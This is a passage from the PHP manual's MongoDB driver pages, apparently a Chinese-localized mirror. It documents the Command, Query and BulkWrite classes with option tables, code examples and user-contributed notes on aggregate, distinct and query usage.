What does it mean? It means that  'pipeline' must be like this:
[
    ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]],    // this is {<stage>}
    ['$match' => [...]],    // and this
    ...
    [...]    // and all of that
]
Just see https://docs.mongodb.com/manual/reference/operator/aggregation-pipeline/

2) The first pair in associative array for __construct's argument $document (if it is an array) must be a command name (e. g. 'count' => 'collectionName' or 'findAndModify' => 'collectionName'). I found this out experimentally, but you can examine source code  https://github.com/mongodb/mongo-php-driver/blob/master/src/MongoDB/Command.c for understand why it happens.
532041020 at qq dot com 30-Sep-2017 02:33
Wrong:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);
Right:
$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => [['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]][
]);
The 'pipeline' lack of '[]'
deiva at qq dot com 11-Aug-2017 09:59
I try to use the driver 1.29 (https://pecl.php.net/package/mongodb/1.2.9) in PHP 5.7, as following codes:

$mongo = new \MongoDB\Driver\Manager('mongodb://localhost:27017');

$cmd = new \MongoDB\Driver\Command([
    'aggregate' => 'collection',
    'pipeline' => ['$group' => ['_id' => null, 'count' => ['$sum' => '$total']]]
]);

$rows = $mongo->executeCommand('database',  $cmd);
foreach($rows as $r){
    print_r($r);
}

it sometime saids:

Fatal error: Uncaught exception 'MongoDB\Driver\Exception\RuntimeException' with message ''pipeline' must be specified as an array'

sometime as :

Fatal error: Uncaught exception 'MongoDB\Driver\Exception\ConnectionTimeoutException' with message 'No suitable servers found (`serverSelectionTryOnce` set): [socket timeout calling ismaster on '127.0.0.1:27017']'

PS: other command can be executed normally.
tdrpic 09-Aug-2016 05:28
In case you're wondering how to perform a 'distinct' query:

<?php

// Sample MongoDB command:
// db.product.distinct("scent", {"prodCat": "10 oz can"})

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$query = ['prodCat' => '10 oz can']; // your typical MongoDB query
$cmd = new MongoDB\Driver\Command([
    // build the 'distinct' command
    'distinct' => 'product', // specify the collection name
    'key' => 'scent', // specify the field for which we want to get the distinct values
    'query' => $query // criteria to filter documents
]);
$cursor = $manager->executeCommand('catalog', $cmd); // retrieve the results
$scents = current($cursor->toArray())->values; // get the distinct values as an array

var_dump($scents);

?>


Create a new Command

  • ? MongoDB\Driver\Command
  • MongoDB\Driver\Query ?
  • PHP Manual
  • MongoDB\Driver\Command
  • Create a new Command

MongoDB\Driver\Command::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Command::__construct — Create a new Command

说明

final public MongoDB\Driver\Command::__construct(array|object $document, ?array $commandOptions = null)

Constructs a new MongoDB\Driver\Command, which is an immutable value object that represents a database command. The command may then be executed with MongoDB\Driver\Manager::executeCommand().

The complete command document, which includes the command name and its options, should be expressed in the document parameter. The commandOptions parameter is only used to specify options related to the execution of the command and the resulting MongoDB\Driver\Cursor.

参数

document

The complete command document, which will be sent to the server.

commandOptions

Note: Do not use this parameter to specify options described in the command's reference in the MongoDB manual. This parameter should only be used for the options explicitly listed below.

commandOptions
Option Type Description
maxAwaitTimeMS int

Positive integer denoting the time limit in milliseconds for the server to block a getMore operation if no data is available. This option should only be used in conjunction with commands that return a tailable cursor (e.g. » Change Streams).

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.4.0 | Added a second commandOptions argument, which supports the "maxAwaitTimeMS" option.

示例

Example #1 MongoDB\Driver\Command::__construct() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$command = new MongoDB\Driver\Command(array("buildinfo" => 1));

try {
$cursor = $manager->executeCommand("admin", $command);
$response = $cursor->toArray()[0];
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}
var_dump($response);

?>

以上示例的输出类似于：

array(13) {
  ["version"]=>
  string(14) "2.8.0-rc2-pre-"
  ["gitVersion"]=>
  string(62) "b743d7158f7642f4da6b7eac8320374b3b88dc2e modules: subscription"
  ["OpenSSLVersion"]=>
  string(25) "OpenSSL 1.0.1f 6 Jan 2014"
  ["sysInfo"]=>
  string(104) "Linux infant 3.16.0-24-generic #32-Ubuntu SMP Tue Oct 28 13:07:32 UTC 2014 x86_64 BOOST_LIB_VERSION=1_49"
  ["loaderFlags"]=>
  string(91) "-fPIC -pthread -Wl,-z,now -rdynamic -Wl,-Bsymbolic-functions -Wl,-z,relro -Wl,-z,now -Wl,-E"
  ["compilerFlags"]=>
  string(301) "-Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fPIC -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Winvalid-pch -pipe -Werror -O3 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-set-variable -fno-builtin-memcmp -std=c99"
  ["allocator"]=>
  string(8) "tcmalloc"
  ["versionArray"]=>
  array(4) {
    [0]=>
    int(2)
    [1]=>
    int(8)
    [2]=>
    int(0)
    [3]=>
    int(-8)
  }
  ["javascriptEngine"]=>
  string(2) "V8"
  ["bits"]=>
  int(64)
  ["debug"]=>
  bool(false)
  ["maxBsonObjectSize"]=>
  int(16777216)
  ["ok"]=>
  float(1)
}

Example #2 MongoDB\Driver\Command::__construct() example

Commands can accept options as well, as part of the normal structure that you create to send to the server. For example, the maxTimeMS option can be passed with most commands to restrict the amount of time a specific command can run for on the server.

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");
$command = new MongoDB\Driver\Command(
array(
"distinct" => "beer",
"key" => "beer_name",
"maxTimeMS" => 10,
)
);

try {
$cursor = $manager->executeCommand("beerdb", $command);
$response = $cursor->toArray()[0];
} catch(MongoDB\Driver\Exception\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}
var_dump($response);

?>

以上示例的输出类似于：

operation exceeded time limit

参见

  • MongoDB\Driver\Manager::executeCommand() - Execute a database command
  • MongoDB\Driver\Cursor

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\Query class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\Query class is a value object that represents a database query.

类摘要

final class MongoDB\Driver\Query {
/* 方法 */
final public __construct(array|object $filter, ?array $queryOptions = null)
}

Table of Contents

  • MongoDB\Driver\Query::__construct — Create a new Query

User Contributed Notes

jaimegarbanzo at gmail dot com 18-Jan-2021 09:46
# constructing a to a remote server and querry and limiting the result to the latest 3 results

$username ="yourusername";
$password = "yourpasswort";

$manager = new MongoDB\Driver\Manager("mongodb://yourserver.com/",
     array("username" => $username, "password" => $password )
    );

# setting your options and filter
$filter  = [];
$options = ['sort'=>array('_id'=>-1),'limit'=>3]; # limit -1 from newest to oldest

#constructing the querry
$query = new MongoDB\Driver\Query($filter, $options);

#executing
$cursor = $manager->executeQuery('resultdb.test', $query);

echo "dumping results<br>";
foreach ($cursor as $document) {
    var_dump($document);
}
tiwaritusharudayan at gmail dot com 15-Jun-2018 09:29
This format displays the documents returned from the query as stdClass Objects. For display purposes, it's fine, but if certain computations need to be performed using the returned documents and their corresponding fields, use this:

------------------------------------Code Snippet-----------------------------------

$connection = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$filter = ["name"=>"insert_desired_name_here"];
/* the following condition, and others similar to it, work as well

$filter = ["age"=>["$gt"=>"18"]]; /*/

$options = []; /* put desired options here, should you need any */

$query = new MongoDB\Driver\Query($filter,$options);

$documents = $connection->executeQuery('trial.trial' /*dbname.collection_name*/,$query);

foreach($documents as $document){
    $document = json_decode(json_encode($document),true);
    echo $document[name];
}

--------------------------------------------------------------------------------------

The first executable statement inside the foreach encodes the returned stdClass object to a json object, and the same is immediately decoded to an associative array, which can then be used as and when needed
dvdogrady at gmail dot com 29-Oct-2017 03:58
Hello

Im just writing this note to help people out who want to write $filter arrays with query operators in them.

I have copied this code off maha88a's note but I changed the $filter to give you an idea of how it would work with the query operators

Considering the following MangoDB collection:

<?php
/* my_collection */

/* 1 */
{
    "_id" : ObjectId("5707f007639a94cbc600f282"),
    "id" : 1,
    "name" : "Name 1"
}

/* 2 */
{
    "_id" : ObjectId("5707f0a8639a94f4cd2c84b1"),
    "id" : 2,
    "name" : "Name 2"
}
?>

I'm using the following code:
<?php
// This $filter will return any id's qualing to 2 but what if we want all the id's above 0.
// $filter = ['id' => 2];
// This is how we would do this.
$filter = ['id' => ['$gt' => 0]]
$options = [
   'projection' => ['_id' => 0],
];
$query = new MongoDB\Driver\Query($filter, $options);
$rows = $mongo->executeQuery('db_name.my_collection', $query); // $mongo contains the connection object to MongoDB
foreach($rows as $r){
   print_($r);
}
?>
yatiny3007 at gmail dot com 04-Feb-2017 07:03
Find By _id

$mongo = new \MongoDB\Driver\Manager('mongodb://root:root@192.168.0.127/db');

$id           = new \MongoDB\BSON\ObjectId("588c78ce02ac660426003d87");
$filter      = ['_id' => $id];
$options = [];

$query = new \MongoDB\Driver\Query($filter, $options);
$rows   = $mongo->executeQuery('db.collectionName', $query);

foreach ($rows as $document) {
  pr($document);
}
Dalahimself 17-Nov-2016 07:12
How to query for an MongoDb _id with value $id

<?php
$filter=array();
$filter['_id']=new MongoDB\BSON\ObjectID($id);

$command=[
                  'find' => 'my_collection',
                  'filter' => $filter
];

$query = new MongoDB\Driver\Command($command);
?>
maha88a 09-Apr-2016 05:38
Here is an example of Query to retrieve the records from MangoDB collection using a filter. It will return in this case just one record that satisfy the filter id = 2.

Considering the following MangoDB collection:

<?php
/* my_collection */

/* 1 */
{
    "_id" : ObjectId("5707f007639a94cbc600f282"),
    "id" : 1,
    "name" : "Name 1"
}

/* 2 */
{
    "_id" : ObjectId("5707f0a8639a94f4cd2c84b1"),
    "id" : 2,
    "name" : "Name 2"
}
?>

I'm using the following code:
<?php
$filter = ['id' => 2];
$options = [
   'projection' => ['_id' => 0],
];
$query = new MongoDB\Driver\Query($filter, $options);
$rows = $mongo->executeQuery('db_name.my_collection', $query); // $mongo contains the connection object to MongoDB
foreach($rows as $r){
   print_($r);
}
?>


Create a new Query

  • ? MongoDB\Driver\Query
  • MongoDB\Driver\BulkWrite ?
  • PHP Manual
  • MongoDB\Driver\Query
  • Create a new Query

MongoDB\Driver\Query::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Query::__construct — Create a new Query

说明

final public MongoDB\Driver\Query::__construct(array|object $filter, ?array $queryOptions = null)

Constructs a new MongoDB\Driver\Query, which is an immutable value object that represents a database query. The query may then be executed with MongoDB\Driver\Manager::executeQuery().

参数

filter (array|object)

The » query predicate. An empty predicate will match all documents in the collection.

Note: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

queryOptions

queryOptions
Option | Type | Description
allowDiskUse bool

Allows MongoDB to use temporary disk files to store data exceeding the 100 megabyte system memory limit while processing a blocking sort operation.

allowPartialResults bool

For queries against a sharded collection, returns partial results from the mongos if some shards are unavailable instead of throwing an error.

Falls back to the deprecated "partial" option if not specified.

awaitData | bool | Use in conjunction with the "tailable" option to block a getMore operation on the cursor temporarily if at the end of data rather than returning no data. After a timeout period, the query returns as normal.
batchSize int

The number of documents to return in the first batch. Defaults to 101. A batch size of 0 means that the cursor will be established, but no documents will be returned in the first batch.

In versions of MongoDB before 3.2, where queries use the legacy wire protocol OP_QUERY, a batch size of 1 will close the cursor irrespective of the number of matched documents.

collation array|object

» Collation allows users to specify language-specific rules for string comparison, such as rules for lettercase and accent marks. When specifying collation, the "locale" field is mandatory; all other collation fields are optional. For descriptions of the fields, see » Collation Document.

If the collation is unspecified but the collection has a default collation, the operation uses the collation specified for the collection. If no collation is specified for the collection or for the operation, MongoDB uses the simple binary comparison used in prior versions for string comparisons.

This option is available in MongoDB 3.4+ and will result in an exception at execution time if specified for an older server version.

comment mixed

An arbitrary comment to help trace the operation through the database profiler, currentOp output, and logs.

The comment can be any valid BSON type for MongoDB 4.4+. Earlier server versions only support string values.

Falls back to the deprecated "$comment" modifier if not specified.

exhaust bool

Stream the data down full blast in multiple "more" packages, on the assumption that the client will fully read all data queried. Faster when you are pulling a lot of data and know you want to pull it all down. Note: the client is not allowed to not read all the data unless it closes the connection.

This option is not supported by the find command in MongoDB 3.2+ and will force the driver to use the legacy wire protocol version (i.e. OP_QUERY).

explain bool

If true, the returned MongoDB\Driver\Cursor will contain a single document that describes the process and indexes used to return the query.

Falls back to the deprecated "$explain" modifier if not specified.

This option is not supported by the find command in MongoDB 3.2+ and will only be respected when using the legacy wire protocol version (i.e. OP_QUERY). The » explain command should be used on MongoDB 3.0+.

hint string|array|object

Index specification. Specify either the index name as a string or the index key pattern. If specified, then the query system will only consider plans using the hinted index.

Falls back to the deprecated "hint" option if not specified.

let array|object

Map of parameter names and values. Values must be constant or closed expressions that do not reference document fields. Parameters can then be accessed as variables in an aggregate expression context (e.g. $$var).

This option is available in MongoDB 5.0+ and will result in an exception at execution time if specified for an older server version.

limit int

The maximum number of documents to return. If unspecified, then defaults to no limit. A limit of 0 is equivalent to setting no limit.

A negative limit is will be interpreted as a positive limit with the "singleBatch" option set to true. This behavior is supported for backwards compatibility, but should be considered deprecated.

max array|object

The exclusive upper bound for a specific index.

Falls back to the deprecated "$max" modifier if not specified.

maxAwaitTimeMS int

Positive integer denoting the time limit in milliseconds for the server to block a getMore operation if no data is available. This option should only be used in conjunction with the "tailable" and "awaitData" options.

maxScan int
Warning

This option is deprecated and should not be used.

Positive integer denoting the maximum number of documents or index keys to scan when executing the query.

Falls back to the deprecated "$maxScan" modifier if not specified.

maxTimeMS int

The cumulative time limit in milliseconds for processing operations on the cursor. MongoDB aborts the operation at the earliest following interrupt point.

Falls back to the deprecated "$maxTimeMS" modifier if not specified.

min array|object

The inclusive lower bound for a specific index.

Falls back to the deprecated "$min" modifier if not specified.

modifiers | array | » Meta operators modifying the output or behavior of a query. Use of these operators is deprecated in favor of named options.
noCursorTimeout | bool | Prevents the server from timing out idle cursors after an inactivity period (10 minutes).
oplogReplay bool

Internal use for replica sets. To use oplogReplay, you must include the following condition in the filter:

[ 'ts' => [ '$gte' => <timestamp> ] ]

Note: This option is deprecated as of the 1.8.0 release.
projection array|object

The » projection specification to determine which fields to include in the returned documents.

If you are using the ODM functionality to deserialise documents as their original PHP class, make sure that you include the __pclass field in the projection. This is required for the deserialization to work and without it, the driver will return (by default) a stdClass object instead.

readConcern MongoDB\Driver\ReadConcern

A read concern to apply to the operation. By default, the read concern from the MongoDB Connection URI will be used.

This option is available in MongoDB 3.2+ and will result in an exception at execution time if specified for an older server version.

returnKey bool

If true, returns only the index keys in the resulting documents. Default value is false. If true and the find command does not use an index, the returned documents will be empty.

Falls back to the deprecated "$returnKey" modifier if not specified.

showRecordId bool

Determines whether to return the record identifier for each document. If true, adds a top-level "$recordId" field to the returned documents.

Falls back to the deprecated "$showDiskLoc" modifier if not specified.

singleBatch | bool | Determines whether to close the cursor after the first batch. Defaults to false.
skip | int | Number of documents to skip. Defaults to 0.
snapshot bool
Warning

This option is deprecated and should not be used.

Prevents the cursor from returning a document more than once because of an intervening write operation.

Falls back to the deprecated "$snapshot" modifier if not specified.

sort array|object

The sort specification for the ordering of the results.

Falls back to the deprecated "$orderby" modifier if not specified.

tailable | bool | Returns a tailable cursor for a capped collection.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.14.0

Added the "let" option. The "comment" option now accepts any type.

PECL mongodb 1.8.0

Added the "allowDiskUse" option.

The "oplogReplay" option is deprecated.

PECL mongodb 1.5.0

The "maxScan" and "snapshot" options are deprecated.

PECL mongodb 1.3.0

Added the "maxAwaitTimeMS" option.

PECL mongodb 1.2.0

Added the "allowPartialResults", "collation", "comment", "hint", "max", "maxScan", "maxTimeMS", "min", "returnKey", "showRecordId", and "snapshot" options.

Renamed the "partial" option to "allowPartialResults". For backwards compatibility, "partial" will still be read if "allowPartialResults" is not specified.

Removed the legacy "secondaryOk" option, which is obsolete. For queries using the legacy wire protocol OP_QUERY, the driver will set the secondaryOk bit as needed in accordance with the » Server Selection Specification.

PECL mongodb 1.1.0 | Added the "readConcern" option.

示例

Example #1 MongoDB\Driver\Query::__construct() example

<?php
/* Select only documents authord by "bjori" with at least 100 views */
$filter = [
'author' => 'bjori',
'views' => [
'$gte' => 100,
],
];

$options = [
/* Only return the following fields in the matching documents */
'projection' => [
'title' => 1,
'article' => 1,
],
/* Return the documents in descending order of views */
'sort' => [
'views' => -1
],
];

$query = new MongoDB\Driver\Query($filter, $options);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$readPreference = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$cursor = $manager->executeQuery('databaseName.collectionName', $query, $readPreference);

foreach($cursor as $document) {
var_dump($document);
}

?>

参见

  • MongoDB\Driver\Manager::executeQuery() - Execute a database query
  • MongoDB\Driver\Cursor

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\BulkWrite class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\BulkWrite collects one or more write operations that should be sent to the server. After adding any number of insert, update, and delete operations, the collection may be executed via MongoDB\Driver\Manager::executeBulkWrite().

Write operations may either be ordered (default) or unordered. Ordered write operations are sent to the server, in the order provided, for serial execution. If a write fails, any remaining operations will be aborted. Unordered operations are sent to the server in an arbitrary order where they may be executed in parallel. Any errors that occur are reported after all operations have been attempted.

类摘要

final class MongoDB\Driver\BulkWrite implements Countable {
/* 方法 */
public __construct(?array $options = null)
public count(): int
public delete(array|object $filter, ?array $deleteOptions = null): void
public insert(array|object $document): mixed
public update(array|object $filter, array|object $newObj, ?array $updateOptions = null): void
}

示例

Example #1 Mixed write operations are grouped by type

Mixed write operations (i.e. inserts, updates, and deletes) will be assembled into typed write commands to be sent sequentially to the server.

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(['x' => 2], ['$set' => ['x' => 1]]);
$bulk->insert(['_id' => 3, 'x' => 3]);
$bulk->delete(['x' => 1]);

?>

Will result in four write commands (i.e. roundtrips) being executed. Since the operations are ordered, the third insertion cannot be sent until the preceding update is executed.

Example #2 Ordered write operations causing an error

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->delete([]);
$bulk->insert(['_id' => 1]);
$bulk->insert(['_id' => 2]);
$bulk->insert(['_id' => 3, 'hello' => 'world']);
$bulk->update(['_id' => 3], ['$set' => ['hello' => 'earth']]);
$bulk->insert(['_id' => 4, 'hello' => 'pluto']);
$bulk->update(['_id' => 4], ['$set' => ['hello' => 'moon']]);
$bulk->insert(['_id' => 3]);
$bulk->insert(['_id' => 4]);
$bulk->insert(['_id' => 5]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(MongoDB\Driver\WriteConcern::MAJORITY, 1000);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
$result = $e->getWriteResult();

// Check if the write concern could not be fulfilled
if ($writeConcernError = $result->getWriteConcernError()) {
printf("%s (%d): %s\n",
$writeConcernError->getMessage(),
$writeConcernError->getCode(),
var_export($writeConcernError->getInfo(), true)
);
}

// Check if any write operations did not complete at all
foreach ($result->getWriteErrors() as $writeError) {
printf("Operation#%d: %s (%d)\n",
$writeError->getIndex(),
$writeError->getMessage(),
$writeError->getCode()
);
}
} catch (MongoDB\Driver\Exception\Exception $e) {
printf("Other error: %s\n", $e->getMessage());
exit;
}

printf("Inserted %d document(s)\n", $result->getInsertedCount());
printf("Updated %d document(s)\n", $result->getModifiedCount());

?>

以上示例会输出：

Operation#7: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 3 } (11000)
Inserted 4 document(s)
Updated  2 document(s)

If the write concern could not be fullfilled, the example above would output something like:

waiting for replication timed out (64): array (
  'wtimeout' => true,
)
Operation#7: E11000 duplicate key error index: databaseName.collectionName.$_id_ dup key: { : 3 } (11000)
Inserted 4 document(s)
Updated  2 document(s)

If we execute the example above, but allow for unordered writes:

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => false]);
/* ... */

?>

以上示例会输出：

Operation#7: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 3 } (11000)
Operation#8: E11000 duplicate key error index: db.collection.$_id_ dup key: { : 4 } (11000)
Inserted 5 document(s)
Updated  2 document(s)

参见

  • MongoDB\Driver\Manager::executeBulkWrite()
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\WriteConcernError
  • MongoDB\Driver\WriteError

Table of Contents

  • MongoDB\Driver\BulkWrite::__construct — Create a new BulkWrite
  • MongoDB\Driver\BulkWrite::count — Count number of write operations in the bulk
  • MongoDB\Driver\BulkWrite::delete — Add a delete operation to the bulk
  • MongoDB\Driver\BulkWrite::insert — Add an insert operation to the bulk
  • MongoDB\Driver\BulkWrite::update — Add an update operation to the bulk

User Contributed Notes

There are no user contributed notes for this page.


Create a new BulkWrite

  • ? MongoDB\Driver\BulkWrite
  • MongoDB\Driver\BulkWrite::count ?
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Create a new BulkWrite

MongoDB\Driver\BulkWrite::__construct

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::__construct — Create a new BulkWrite

说明

public MongoDB\Driver\BulkWrite::__construct(?array $options = null)

Constructs a new MongoDB\Driver\BulkWrite, which is a mutable object to which one or more write operations may be added. The write(s) may then be executed with MongoDB\Driver\Manager::executeBulkWrite().

参数

options (array)

options
Option | Type | Description | Default
bypassDocumentValidation bool

If true, allows insert and update operations to circumvent document level validation.

This option is available in MongoDB 3.2+ and is ignored for older server versions, which do not support document level validation.

false
comment mixed

An arbitrary comment to help trace the operation through the database profiler, currentOp output, and logs.

This option is available in MongoDB 4.4+ and will result in an exception at execution time if specified for an older server version.

let array|object

Map of parameter names and values. Values must be constant or closed expressions that do not reference document fields. Parameters can then be accessed as variables in an aggregate expression context (e.g. $$var).

This option is available in MongoDB 5.0+ and will result in an exception at execution time if specified for an older server version.

ordered | bool | Ordered operations (true) are executed serially on the MongoDB server, while unordered operations (false) are sent to the server in an arbitrary order and may be executed in parallel. | true

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.14.0 | Added the "comment" and "let" options.
PECL mongodb 1.1.0 | Added the "bypassDocumentValidation" option.

示例

Example #1 MongoDB\Driver\BulkWrite::__construct() example

<?php

$bulk = new MongoDB\Driver\BulkWrite(['ordered' => true]);
$bulk->delete([]);
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(
['x' => 2],
['$set' => ['x' => 1]],
['limit' => 1, 'upsert' => false]
);
$bulk->delete(['x' => 1], ['limit' => 1]);
$bulk->update(
['_id' => 3],
['$set' => ['x' => 3]],
['limit' => 1, 'upsert' => true]
);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$writeConcern = new MongoDB\Driver\WriteConcern(1);

try {
$result = $manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch (MongoDB\Driver\Exception\BulkWriteException $e) {
$result = $e->getWriteResult();

// Check if the write concern could not be fulfilled
if ($writeConcernError = $result->getWriteConcernError()) {
printf("%s (%d): %s\n",
$writeConcernError->getMessage(),
$writeConcernError->getCode(),
var_export($writeConcernError->getInfo(), true)
);
}

// Check if any write operations did not complete at all
foreach ($result->getWriteErrors() as $writeError) {
printf("Operation#%d: %s (%d)\n",
$writeError->getIndex(),
$writeError->getMessage(),
$writeError->getCode()
);
}
} catch (MongoDB\Driver\Exception\Exception $e) {
printf("Other error: %s\n", $e->getMessage());
exit;
}

printf("Inserted %d document(s)\n", $result->getInsertedCount());
printf("Updated %d document(s)\n", $result->getModifiedCount());
printf("Upserted %d document(s)\n", $result->getUpsertedCount());
printf("Deleted %d document(s)\n", $result->getDeletedCount());

?>

以上示例会输出：

Inserted 2 document(s)
Updated  1 document(s)
Upserted 1 document(s)
Deleted  1 document(s)

参见

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Count number of write operations in the bulk

  • ? MongoDB\Driver\BulkWrite::__construct
  • MongoDB\Driver\BulkWrite::delete ?
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Count number of write operations in the bulk

MongoDB\Driver\BulkWrite::count

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::count — Count number of write operations in the bulk

说明

public MongoDB\Driver\BulkWrite::count(): int

Returns the number of write operations added to the MongoDB\Driver\BulkWrite object.

参数

此函数没有参数。

返回值

Returns number of write operations added to the MongoDB\Driver\BulkWrite object.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.2.0 | Returns the number of write operations added to the MongoDB\Driver\BulkWrite object. Earlier versions returned the expected number of client-to-server roundtrips required to execute all write operations.

示例

Example #1 MongoDB\Driver\BulkWrite::count() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['_id' => 1, 'x' => 1]);
$bulk->insert(['_id' => 2, 'x' => 2]);
$bulk->update(['x' => 2], ['$set' => ['x' => 1]]);
$bulk->delete(['x' => 1]);

var_dump(count($bulk));

?>

以上示例会输出：

int(4)

User Contributed Notes

There are no user contributed notes for this page.


Add a delete operation to the bulk

  • ? MongoDB\Driver\BulkWrite::count
  • MongoDB\Driver\BulkWrite::insert ?
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Add a delete operation to the bulk

MongoDB\Driver\BulkWrite::delete

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::delete — Add a delete operation to the bulk

说明

public MongoDB\Driver\BulkWrite::delete(array|object $filter, ?array $deleteOptions = null): void

Adds a delete operation to the MongoDB\Driver\BulkWrite.

参数

filter (array|object)

The » query predicate. An empty predicate will match all documents in the collection.

Note: When evaluating query criteria, MongoDB compares types and values according to its own » comparison rules for BSON types, which differs from PHP's comparison and type juggling rules. When matching a special BSON type the query criteria should use the respective BSON class (e.g. use MongoDB\BSON\ObjectId to match an » ObjectId).

deleteOptions

deleteOptions
Option | Type | Description | Default
collation array|object

» Collation allows users to specify language-specific rules for string comparison, such as rules for lettercase and accent marks. When specifying collation, the "locale" field is mandatory; all other collation fields are optional. For descriptions of the fields, see » Collation Document.

If the collation is unspecified but the collection has a default collation, the operation uses the collation specified for the collection. If no collation is specified for the collection or for the operation, MongoDB uses the simple binary comparison used in prior versions for string comparisons.

This option is available in MongoDB 3.4+ and will result in an exception at execution time if specified for an older server version.

hint string|array|object

Index specification. Specify either the index name as a string or the index key pattern. If specified, then the query system will only consider plans using the hinted index.

This option is available in MongoDB 4.4+ and will result in an exception at execution time if specified for an older server version.

limit | bool | Delete all matching documents (false), or only the first matching document (true) | false

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.8.0 | Added the "hint" option.
PECL mongodb 1.2.0 | Added the "collation" option.

示例

Example #1 MongoDB\Driver\BulkWrite::delete() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->delete(['x' => 1], ['limit' => 1]);
$bulk->delete(['x' => 2], ['limit' => 0]);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

参见

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult

User Contributed Notes

There are no user contributed notes for this page.


Add an insert operation to the bulk

  • ? MongoDB\Driver\BulkWrite::delete
  • MongoDB\Driver\BulkWrite::update ?
  • PHP Manual
  • MongoDB\Driver\BulkWrite
  • Add an insert operation to the bulk

MongoDB\Driver\BulkWrite::insert

(mongodb >=1.0.0)

MongoDB\Driver\BulkWrite::insert — Add an insert operation to the bulk

说明

public MongoDB\Driver\BulkWrite::insert(array|object $document): mixed

Adds an insert operation to the MongoDB\Driver\BulkWrite.

参数

document (array|object)

A document to insert.

返回值

Returns the _id of the inserted document. If the document did not have an _id, the MongoDB\BSON\ObjectId generated for the insert will be returned.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.3.0 | The _id of the inserted document is always returned. Previously, the method only returned a value if a MongoDB\BSON\ObjectId was generated.

示例

Example #1 MongoDB\Driver\BulkWrite::insert() example

<?php

$bulk = new MongoDB\Driver\BulkWrite;

$document1 = ['title' => 'one'];
$document2 = ['_id' => 'custom ID', 'title' => 'two'];
$document3 = ['_id' => new MongoDB\BSON\ObjectId, 'title' => 'three'];

$_id1 = $bulk->insert($document1);
$_id2 = $bulk->insert($document2);
$_id3 = $bulk->insert($document3);

var_dump($_id1, $_id2, $_id3);

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$result = $manager->executeBulkWrite('db.collection', $bulk);

?>

以上示例的输出类似于：

object(MongoDB\BSON\ObjectId)#3 (1) {
  ["oid"]=>
  string(24) "54d51146bd21b91405401d92"
}
NULL
NULL

参见

  • MongoDB\Driver\Manager::executeBulkWrite() - Execute one or more write operations
  • MongoDB\Driver\WriteResult
  • MongoDB\BSON\ObjectId
